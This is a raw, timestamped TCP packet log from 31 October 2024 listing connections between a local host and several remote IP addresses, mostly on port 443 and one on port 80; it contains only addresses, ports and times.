Oct 31, 2024 01:18:48.108287096 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.108477116 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.110923052 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.110933065 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.111140013 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.111287117 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.111299038 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.112344027 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.112361908 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.175800085 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.175838947 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.175920010 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.176199913 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.176213980 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.281995058 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.282290936 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.282309055 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.283344030 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.283432007 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.284003973 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.284066916 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.284181118 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.284234047 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.284250021 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.299527884 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.299926043 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.299952030 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.300919056 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.300991058 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.301506042 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.301567078 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.301675081 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.301682949 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.301717997 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.301748991 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.397238970 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.491014957 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.519114017 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:48.519150019 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:48.519447088 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:48.519650936 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:48.519665956 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:48.556534052 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.557775974 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.557823896 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.557919979 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.655440092 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.655936956 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.655987978 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:48.656064034 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:48.684945107 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.685198069 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:48.685228109 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.686530113 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.688039064 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:48.688133001 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.696779013 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:48.697817087 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:48.697835922 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:48.699855089 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:48.699861050 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:48.699956894 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:48.699965954 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:48.841058016 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.841634035 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.841660023 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.842528105 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.842540979 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.843745947 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.844598055 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.844644070 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.845587969 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.845597029 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.847888947 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.848294973 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.848316908 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.849036932 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.849041939 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.852613926 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.852965117 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.852978945 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.853174925 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.853425980 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.853430033 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.853565931 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.853599072 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.853965998 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.853972912 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.877265930 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:49.129918098 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.129945993 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.129992008 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130017996 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130112886 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130203009 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130219936 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130225897 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130270958 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130289078 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130302906 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130309105 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130311966 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130335093 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130364895 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130378962 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130462885 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130475998 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130554914 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.130578041 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.130605936 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.130621910 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.130665064 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.130665064 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.130666018 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.130685091 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.131946087 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.131946087 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.131964922 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.131975889 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.132421017 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.138715029 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.138722897 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.138739109 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.138739109 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.138752937 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.138758898 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.138777018 CET	49966	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.138784885 CET	443	49966	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.139904976 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.139905930 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.139920950 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.139930010 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.139967918 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.139972925 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.139983892 CET	49967	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.139988899 CET	443	49967	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.141623974 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.141648054 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.141661882 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.141678095 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.141736031 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.142030001 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.142122030 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.142179012 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.142671108 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.142743111 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.145529032 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.145587921 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.146296978 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.146301985 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.146337986 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.146373987 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.148884058 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.148911953 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.148991108 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.152632952 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.152648926 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.157175064 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.157217026 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.157283068 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.157558918 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.157571077 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.159251928 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.159282923 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.159743071 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.159758091 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.159807920 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.159907103 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.160984993 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.160995960 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.161043882 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.161681890 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.161698103 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.164930105 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.164940119 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.165489912 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.165502071 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.216551065 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.216603041 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.216694117 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.216918945 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:49.216934919 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:49.246452093 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.326694012 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.326922894 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:49.326939106 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.327292919 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.327609062 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:49.327666044 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.328236103 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:49.371336937 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.383934975 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.384211063 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.384227991 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.384569883 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.385000944 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.385071039 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.385107994 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.385303020 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.385334969 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.412062883 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.412630081 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.412695885 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.412772894 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.474643946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:49.474724054 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:49.482366085 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.507397890 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.507488966 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:49.510466099 CET	49969	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:49.510479927 CET	443	49969	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:49.747905970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:49.752768993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:49.758882046 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.759668112 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.759726048 CET	443	49968	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:49.759793043 CET	49968	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:49.869767904 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.870362043 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.870381117 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.870834112 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.870837927 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.894745111 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.895337105 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.895351887 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.896049023 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.896054983 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.901587009 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.902009010 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.902045965 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.902650118 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.902662992 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.902987957 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.903348923 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.903377056 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.903992891 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.903999090 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.984708071 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.985297918 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.985326052 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.985820055 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.985826015 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998105049 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998130083 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998186111 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.998207092 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998218060 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998265028 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.998492956 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.998508930 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:49.998518944 CET	49970	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:49.998523951 CET	443	49970	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.001609087 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.001645088 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.001740932 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.001926899 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.001940966 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.032541990 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.032603025 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.032852888 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.032852888 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.032886982 CET	49971	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.032902956 CET	443	49971	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.035052061 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.035088062 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.035125017 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.035151005 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.035177946 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.035340071 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.035363913 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.035378933 CET	49973	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.035389900 CET	443	49973	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036386013 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036412001 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036513090 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036642075 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036676884 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036689997 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036706924 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036778927 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036870956 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036886930 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.036896944 CET	49974	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.036900997 CET	443	49974	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.037998915 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.038018942 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.038083076 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.038218975 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.038230896 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.039141893 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.039149046 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.039208889 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.039335012 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.039343119 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.112997055 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.113061905 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.113197088 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.113253117 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.113318920 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.113325119 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.113333941 CET	49972	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.113337040 CET	443	49972	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.116349936 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.116374016 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.116497993 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.116647959 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.116657019 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.416847944 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.417392969 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.417417049 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.418215990 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.418221951 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.418241024 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.418250084 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.524054050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:50.524127007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:50.753765106 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.754641056 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.754658937 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.755273104 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.755279064 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.756702900 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.758260012 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.758275032 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.758640051 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.758644104 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.773792028 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.774502039 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.774509907 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.775127888 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.775131941 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.800895929 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.802684069 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.802696943 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.803148985 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.803153038 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.847162962 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.847183943 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.847230911 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.847280025 CET	49975	443	192.168.2.5	40.126.32.140
